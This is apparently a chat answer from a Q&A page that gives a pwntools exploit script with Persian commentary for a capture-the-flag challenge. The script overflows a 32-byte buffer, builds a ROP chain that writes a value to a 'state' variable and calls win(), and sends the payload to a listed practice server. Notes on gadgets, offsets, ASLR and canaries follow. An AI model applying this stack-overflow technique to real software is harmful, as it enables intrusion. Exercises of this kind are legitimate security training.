#!/usr/bin/env python3 from pwn import * context.binary = elf = ELF("./chall") # نام واقعی فایل باینری context.log_level = 'info' # در صورت نیاز برای عیب‌یابی، بگذارید 'debug' context.arch = 'amd64' # آدرس توابع و متغیرها در این باینری win_addr = elf.symbols['win'] state_addr = elf.symbols['state'] log.info(f"win() @ {hex(win_addr)}") log.info(f"state @ {hex(state_addr)}") # مقداری که باید در state نوشته شود: -0xe1111d3 در مبنای ۳۲بیتی => 0xf1eeee2d # (در ۶۴بیتی هم عملاً همان عدد sign-extended می‌شود) desired_value = 0xf1eeee2d ######################################## # پیدا کردن/تنظیم گجت‌های ROP به شکل دستی یا خودکار ######################################## # می‌توانید از pwntools برای یافتن گجت‌ها کمک بگیرید: # مثلا: # rop = ROP(elf) # pop_rdi = rop.find_gadget(['pop rdi','ret'])[0] # pop_rsi_pop_r15 = rop.find_gadget(['pop rsi','pop r15','ret'])[0] # سپس ممکن است برای نوشتن در [rdi] از گجت ویژه‌ای مثل mov [rdi], esi; ret نیاز داشته باشید. # برای نمونه اگر گجت‌ها را دستی پیدا کردید (فرضی): pop_rdi_gadget = 0x4013a3 # <--- "pop rdi; ret" pop_rsi_pop_r15_gadget = 0x4013a1 # <--- "pop rsi; pop r15; ret" mov_rdi_rsi_gadget = 0x4012f0 # <--- مثلاً "mov [rdi], esi; ret" (باید دقیقاً در باینری جستجو کنید) # اگر گجت mov [rdi], esi; ret پیدا نکنید، ممکن است نیاز به روش دیگری داشته باشید # یا از «call [func]» بهره ببرید که در نهایت یک نوشتن در آن آدرس کند. ######################################## # ساختن زنجیر ROP ######################################## # در تابع vuln: # offset = 32 بایت برای بافر # +8 بایت saved RBP # از بایت 40 به بعد روی Saved RIP می‌نشیند. payload = b"A" * 32 # پر کردن بافر payload += b"B" * 8 # جایگزین Saved RBP (در این سناریو فرقی ندارد چه می‌نویسیم) # حالا زنجیر ROP ما روی Saved RIP شروع می‌شود: # ۱) قرار دادن state_addr در RDI payload += p64(pop_rdi_gadget) payload += p64(state_addr) # ۲) قرار دادن desired_value در RSI (و pop r15) payload += p64(pop_rsi_pop_r15_gadget) payload += p64(desired_value) # برای rsi payload += p64(0x0) # برای r15 (ناچاریم مقداری بفرستیم) # ۳) گجت mov [rdi], esi; ret (یا مشابه) payload += p64(mov_rdi_rsi_gadget) # ۴) در نهایت، فراخوانی تابع win payload += p64(win_addr) # حالا کافیست payload خود را با ارسال به برنامه‌ی آسیب‌پذیر اعمال کنیم. # سرور تمرین می‌گوید: "nc 65.109.201.174 5004" # پس: def solve(): p = remote("65.109.201.174", 5004) # اگر برنامه پیام خاصی چاپ می‌کند (مثلاً "Who are you?")، آن را بخوانید # بستگی به متن واقعی دارد؛ اگر چیزی چاپ نمی‌کند، می‌توانید مستقیماً بفرستید # مثلاً: # banner = p.recvuntil(b"Who are you?") # print(banner) p.send(payload) p.interactive() if __name__ == "__main__": solve()

نکات مهم

  1. یافتن گجت‌ها به‌صورت دستی یا خودکار
    ممکن است در باینری شما گجتی با قالب pop rsi; pop r15; ret وجود داشته باشد و گجتی با قالب mov [rdi], esi; ret را هم پیدا کنید (یا چیز مشابه، مثلاً mov [rdi], eax; ret). اگر این گجت خاص را نیافتید، باید ترکیب دیگری پیدا کنید (مثلاً ROP روی توابعی مثل read یا هر ترفندی که به شما اجازه‌ی نوشتن در state_addr بدهد).

  2. تراز و Offset
    دقت کنید در تابع vuln دقیقاً ۳۲ بایت بافر است و سپس ۸ بایت Saved RBP. بنابراین اولین بایت Saved RIP در Offset=40 قرار می‌گیرد. اگر چیزی در آن حساب‌ها تغییر کند (مثلاً کامپایلر یک فضای اضافه قرار داده باشد)، باید فاصله را به‌دقت در GDB یا ابزارهای دیگر اندازه بگیرید.

  3. بررسی حفاظت‌ها

    • اگر باینری شما قابلیت‌های پیشرفتهٔ CET (مانند IBT یا SHSTK) را فعال کرده باشد، ممکن است اجرای ret به آدرس‌هایی خارج از محدودهٔ پیش‌بینی‌شده را ممنوع کند. در این صورت باید راه‌های دیگری (نظیر اجرای داخل همان تابع یا پیدا‌کردن گجت endbr64) را لحاظ کنید.
    • نداشتن ASLR در سرور یا نداشتن Canary روی استک کمک می‌کند که این روش ساده اجرا شود. اما اگر ASLR فعال باشد، آدرس‌ها پویا هستند و نیاز به اکسپلویت دیگری است.
  4. چرا رویکرد «الحاق مقدار state پشت آدرس بازگشت» جواب نمی‌دهد؟
    همان‌طور که در راهنمایی‌ها هم گفتیم، به‌محض اینکه Saved RIP عوض می‌شود، اجرای برنامه وارد تابع win می‌شود و دیگر داده‌های بعدیِ بافر خوانده نمی‌شود. پس مقدار state پیش از آنکه بررسی شود، تغییر نمی‌کند و برنامه پیام خطا می‌دهد.

  5. دو مرحله یا یک مرحله؟
    گاهی اوقات شما از دوتا fgets یا دو بار فراخوانی تابع ورودی استفاده می‌کنید و در نتیجه می‌توانید مقدار بیشتری از ورودی خود را در دو مرحله وارد کنید. اما در صورت فعلی، کد شما فقط یک بار fgets دارد؛ پس باید تمامی عملیات در همان یک payload و از طریق ROP انجام شود.


جمع‌بندی

  • لازم است ابتدا دقیقاً گجت‌های لازم برای نوشتن مقدار 0xf1eeee2d در آدرس state_addr را پیدا کنید.
  • در یک Payload واحد، Saved RIP را به زنجیر ROP منتقل می‌کنید و آن گجت‌ها را پشت سر هم می‌چینید تا ابتدا مقدار state را عوض کند و سپس تابع win را صدا بزند.
  • وقتی تابع win اجرا می‌شود، بررسی مقدار state موفق خواهد بود و پرچم نمایش داده می‌شود.

با این الگو می‌توانید کد اکسپلویت نهایی را در فایل exploit.py قرار دهید و با اجرای آن (مثلاً python3 exploit.py) در صورت درست بودن آدرس‌ها و گجت‌ها، به پرچم دست پیدا کنید. موفق باشید!

Question

سلام

Answer

سلام! چطور می‌تونم کمکت کنم؟

Share this Q&A